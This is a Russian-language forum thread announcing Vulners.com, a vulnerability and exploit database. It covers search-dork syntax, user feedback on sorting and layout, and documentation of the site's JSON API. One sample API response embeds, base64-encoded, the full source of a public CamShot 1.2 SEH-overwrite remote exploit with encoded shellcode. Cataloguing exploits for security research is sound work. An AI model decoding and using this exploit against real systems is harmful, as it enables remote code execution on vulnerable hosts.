![]() |
Йо)
В общем в очередной раз когда у меня вытекли глаза от CVEDetails и его интерфейса родилась идея запилить свою базу данных уязвимостей и прочего секьюрити-стафа. Собственно, что мы небольшой командой и сделали. Получился Vulners.com. Весь движок написан на Python, в качестве базы MongoDB + Elasticsearch. Монга только для роботов-сборщиков информации, эластик только для фронтэнда. Ну посколько эластика для нас в новинку, то поиск хоть и работает весьма прикольно, но порой абсолютно непредсказуемо. Как и поиск кросс-референсов. Но обычно выдает именно то, что нужно. Собственно, чего там интересного и как искать. В данный момент в базе лежат security-advisory всех основных вендоров ОС, все CVE, весь ExploitDB, Metasploit, публичные репорты с HackerOne, VulnerabilityLab, публичные темы с Rdot, уязвимости софтов вроде OpenSSL и Mozilla и всякая мелочь. Основным удобством является lucene строка поиска с возможностью использовать dork-и. К сожалению, help мы все еще не родили и информацию приходится передавать первым бета-тестерам лично. Вот пару примеров dork-ов: type:hackerone team.name:yahoo - получим все уязвимости на H1, которые есть у Yahoo type:hackerone sql injection - так все упоминания SQLi, которые были в репортах type:exploitdb "windows 10" - эксплойты с эксплойтДБ с упоминанием Win10 reporter.username:isox - все репорты от указанного %username% typepenssl heartbleed - ищем только по репортам OpenSSL type:cve cvss.score:[8 TO 10] - совмещенный критерий. Ищем CVE с CVSS score 8 до 10 Ну собственно главный их минус, это не очевидно что является ключами дорков и какой синтаксис. Пока мы не родили suggest (надеюсь, на следующей неделе, с релизом 2 все будет), единственный вариант - смотреть исходный текст страницы, там будет data и исходным видом элемента. Любые имена ключей в json можно использовать как дорк. Мелкая полезная фишка - когда ты открываешь элемент. Например CVE-2010-3881, то внизу страницы будут автоматически подтянутые референсы. От самых релевантных к наиболее "похожим" с точки зрения шайтан-алгоритма. К примеру тут он сразу предлагает патчи для Ubuntu. То есть, когда есть актуальная связь через CVE-id, то все работает красиво. Подтянутся и эксплойты, и метасплойт-модули и все остальное. Вот такая вот поделка, надеюсь вам пригодится в быту. Стараемся ее делать лучше по мере получения отзывов. Рады любым фидбекам и фича-реквестам. |
Добавить бы сортировку, по датам/актуальности, фильтры по годам.
|
Цитата:
Я там маленько лоханулся в mapping-е эластики и сделал published: ключ строкой. Что бы поправить надо мигрировать индекс, а это не так просто и быстро. Про сортировку понял: Сортировка по дате. А что есть актуальность? |
Идея хорошая, спасибо
Собственно как некий тестер выступлю, по интерфейсу, так и было задумано, как у меня на скрине? Я про расположение нижнего окна, по отношению к краю экрана. http://pastenow.ru/HTNM |
Цитата:
Нет, оно должно было быть в левой колонке. При таком отображении "референсы" по разным типам бюллетений выстраиваются в блоки по типу с сортированнымм по релевантности title. То есть, этот блок должен был быть крайним слева. Можно данные браузера, что бы воспроизвести? |
Версия 46.0.2490.80 m Хром
монитор 22 дюйма, разрешение 1920 на 1080, хотя наверно это лишняя инфа |
Цитата:
|
API будет?
|
Цитата:
GET /api/v0/search/type:cve HTTP/1.1 ---> Строку поиска пихаем после /search/ Host: vulners.com Отдает json: {"results":[список dict-ов элементо]} Для листинга: GET /api/v0/hackerone/ HTTP/1.1 ---> После /v0/ пихаем тип элемента Host: vulners.com Отдает json: {"count":123, "results":["123","123"]} В results список id, которые можно потом вынуть вот так: GET /api/v0/hackerone/52181 HTTP/1.1 Host: vulners.com Отдаст json: {"results":{элемент из базы}} Пример для ExploitDB: GET /api/v0/exploitdb/ HTTP/1.1 Host: vulners.com {"count": 35429, "results": ["EDB-ID:11226", "EDB-ID:11264", "EDB-ID:11257", "EDB-ID:11233", "EDB-ID:11240", "EDB-ID:11271", "EDB-ID:11288", "EDB-ID:11238", "EDB-ID:11245", "EDB-ID:11276", "EDB-ID:11408", "EDB-ID:11357", "EDB-ID:11364", "EDB-ID:11369", "EDB-ID:11376", "EDB-ID:11403", "EDB-ID:11383", "EDB-ID:11395", "EDB-ID:11410", "EDB-ID:11352", "EDB-ID:11281", "EDB-ID:11293", "EDB-ID:11298", "EDB-ID:11301", "EDB-ID:11286", "EDB-ID:11325", "EDB-ID:11318", "EDB-ID:11306", "EDB-ID:11320", "EDB-ID:11262", "EDB-ID:11228".......]} GET /api/v0/exploitdb/EDB-ID:11272 HTTP/1.1 Host: vulners.com {"results": {"description": "CamShot v1.2 SEH Overwrite Exploit. Remote exploit for windows platform", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceB64": "b'IyBDYW1TaG90IFNFSCBvdmVyd3JpdGUgYnkgdGVjbmlrDQo NCmltcG9ydCBzb2NrZXQsIHN5cw0KDQppZiBsZW4oc3lzLmFyZ 3YpIT0yOg0KICAgIHByaW50ICJVc2FnZTogY2Ftc2hvdC5weSA 8dGFyZ2V0PiINCiAgICBleGl0KCkNCg0KcyA9IHNvY2tldC5zb 2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkV BTSkNCnMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sODApKQ0KDQpwc mludCAiU2VuZGluZyBFeHBsb2l0IHRvOiIgKyBzeXMuYXJndls xXQ0KDQojIEdFVCByZXF1ZXN0ICsgb3ZlcmZsb3cgc3RyaW5nD QpyZXF1ZXN0ICA9IkdFVCAvIg0KcmVxdWVzdCArPSJBQUFBQUF BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF BQUFBQUFBQUFBQUFBQUFBQUFBQUEiDQojIHNob3J0IGp1bXAgb 3ZlciBTRSBIYW5kbGVyIEFkZHIgb3ZlcndyaXRlDQpyZXF1ZXN 0ICs9Ilx4OTBceDkwXHhFQlx4MDciDQojIG92ZXJ3cml0ZSBTR UggdG8gcG9pbnQgdG8gbWZjNDAuZGxsIChubyBTYWZlU2VoKSB KTVAgW0VCUC00XQ0KcmVxdWVzdCArPSJceDlBXHhGN1x4QTlce DYxIg0KIyBOT1AncyBJIGhhdmVuJ3QgY2xlYW5lZCB1cDsgU1V CIEVCUCwtNTA4OyBYQ0hHIEVCUCxFRFg7ICh0byBzZXR1cCBCY XNlIEFkZHIgZm9yIEFMUEhBMyBlbmNvZGVkIHNoZWxsY29kZSk NCnJlcXVlc3QgKz0iXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwX Hg5MFx4OTBceDkwXHg5MFx4ODFceEVEXHhGOFx4RkFceEZGXHh GRlx4OTBceDkwXHg4N1x4RUEiIA0KDQojIEFMUEhBMyBlbmNvZ GVkIChsb3dlcmNhc2UgYXNjaWkgd2l0aCBFRFggYmFzZSkgTWV 0YXNwbG9pdCBzaGVsbGNvZGUgKEV4ZWMgY2FsYy5leGUpDQpyZ XF1ZXN0ICs9ImozMTRkMzRkanEzNGRqazM0ZDE0MjFyMTFyN2o zMTRkMzRkajIzNGRrbXI1MDJkcjVvMGQyNXVzejg1NTYxazIwM jEzbzgzMDYwNDk5OTEzbzI2NTZlMzI3ZTc5bGQxMzAzbDJrODh nbmQweDN4bXhsazg1NmM3Y240MGswNDlrbGU2NTcwb2IweGtrO WQzOTAxb2s1ZDNkbng1YzBlbXhuODMxbzU3Y294Nng1ZDRiNWR uZzZma2czMjI1MzJsOTExbDRvZjRrOGszeDg5bGRtYzE1MXhqO TUzbmZreDZmMzMzYzE5bDBtZTY0NWcxMjU0b2ttZWw1MDUwMjN jbzMwZW84N2ZtMTc4amczMG04bjJsMTRnNGM4ZWwzNDI5OTdiN Xg5eG4wNDk4NDV4b2s0NDE1NTAzZzNnbjQxZm1kbGI2Zm5rNjI 5Y2prazJqNTk4NzhuMjNlNDEzODgxbmI5YzFmbWUyNDFnbDFue DBlNzExMzY5bmU5MGoxM2UwYjEyMGRrZTU4MWQ0MjEyMWNvMDd jODNrMmxlbGU0eDVrM2Q3Z284NGQ5YzAxNXgwMzhkMzJsNW8zN mcwODhjMGI5MzAyMjlqOW9lN3gzMzJiamc4ZjM4MjVuazQyMjA 4MTg4OGNseDlnMGszY2w1ajhrZjcxMzkxOTciDQoNCg0KcmVxd WVzdCArPSIgSFRUUC8xLjFcclxuIg0KcmVxdWVzdCArPSJIT1N UOiAxMjcuMC4wLjFcclxuXHJcbiINCg0Kcy5zZW5kKHJlcXVlc 3QpDQoNCnByaW50ICJEb25lLiINCg0Kcy5jbG9zZSgpDQo='", "cvelist": [], "type": "exploitdb", "lastseen": "2015-08-08T02:59:56", "author": "tecnik", "title": "CamShot 1.2 - SEH Overwrite Exploit", "href": "https://www.exploit-db.com/exploits/11272/", "id": "EDB-ID:11272", "published": "2010-01-27"}} |
Все возможные значения type можно вынуть вот так:
GET /api/v0/suggest/distinct/type HTTP/1.1 ---> Здесь можно еще попихать другие имена полей после /disctict/{field_name} и получить примеры Host: vulners.com {"results": ["cve", "exploitdb", "debian", "metasploit", "ubuntu", "centos", "suse", "hackerone", "mozilla", "rdot", "vulnerlab", "opera", "openssl"]} |
| Время: 01:30 |